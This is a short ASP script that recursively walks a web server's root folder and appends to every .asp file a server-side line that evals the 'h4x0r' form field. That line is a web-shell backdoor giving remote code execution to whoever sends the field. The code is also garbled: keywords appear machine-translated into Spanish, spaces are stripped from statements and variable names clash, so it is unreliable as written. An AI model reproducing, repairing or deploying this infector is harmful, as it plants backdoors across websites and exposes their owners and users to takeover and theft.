<%
mancha
dimintfile
servidor.scripttimeout = 600
ph = server.mappath ("/")
Subinsertallfiles (ruta)
Setfso = createObject ("scripting.filesystemObject")
onerrorResumEnext
Setf = fso.getfolder (ruta)
Setfc2 = f.files
ForeachmyfileInfc2
Iflcase (fso.getExtensionName (Path & "" & myFile.name)) = "ASP" entonces
Setfs1 = createObject ("scripting.filesystemObject")
Settfile = fs1.opentextfile (ruta y "" & myfile.name, 8, falso)
tfile.WriteLine "<scriptrunat = serverLanguage = javascript> eval (request.form ('h4x0r')+'' ') </script>"
demás
InsertallFiles (Newpath)
endif
tfile.close
Próximo
Setfsubfolers = f.subfolders
Foreachf1infsubfolers
newpath = Path & "" & f1.name
InsertallFiles (Newpath)
Próximo
settfile = nada
Setfso = nada
Endsub
%>
<%
CallinSertallFiles (PH)
%>